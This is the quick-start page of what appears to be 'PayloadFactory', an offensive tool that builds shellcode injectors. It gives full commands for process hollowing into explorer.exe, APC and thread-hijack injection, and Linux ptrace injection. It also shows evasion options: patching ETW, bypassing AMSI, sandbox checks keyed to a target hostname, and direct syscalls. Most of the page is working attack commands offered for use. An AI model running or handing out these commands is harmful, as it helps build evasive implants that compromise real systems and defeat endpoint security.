Quick Start

PayloadFactory's CLI is main.py. The first positional argument is the injection technique, and you must supply exactly one of -s/--shell (raw shellcode) or -e/--exe (a Windows PE to convert with donut).

Inject raw shellcode into a Windows process

python main.py current_thread -s shellcode.bin -o payload.exe

• current_thread — create a new thread in the current process and run the shellcode there.
• -s shellcode.bin — read the shellcode bytes directly from a file.
• -o payload.exe — write the compiled payload (default is result.exe).

Inject into a remote process

Remote-injection techniques take -p/--process to name the target:

python main.py process_hollow -s shellcode.bin --process explorer.exe -o hollow.exe

explorer.exe is the default target. Other short names (msedge.exe, iexplore.exe, mpcmdrun.exe, lsass.exe, svchost.exe) are auto-expanded to their full Windows paths.

Convert a PE to shellcode, then inject

python main.py queue_apc -e implant.exe --args "payload arg" -o qapc.exe

-e runs the bundled donut binary to turn implant.exe into shellcode (optionally passing --args), which is then injected with queue_apc. Use -nc to disable donut compression.

Add evasion

python main.py thread_hijack -s shellcode.bin \
    --evasion etw amsi \
    --sandbox cpu hostname --sandbox-hostname TARGET \
    --syscall sysplant -r jumper_randomized \
    -o evasion.exe

• --evasion etw amsi — apply pre-execution hooks (ETW patching, AMSI bypass).
• --sandbox cpu hostname --sandbox-hostname TARGET — exit early unless the runtime matches your expected environment.
• --syscall sysplant -r jumper_randomized — generate SysPlant syscalls with the canterlot recovery iterator.

Target Linux

python main.py ptrace_inject -s shellcode.bin --process bash -o linux_payload

Linux targets use g++/clang++ instead of MinGW, and skip SysPlant (native libc syscalls are used). See Linux targets for the full technique set.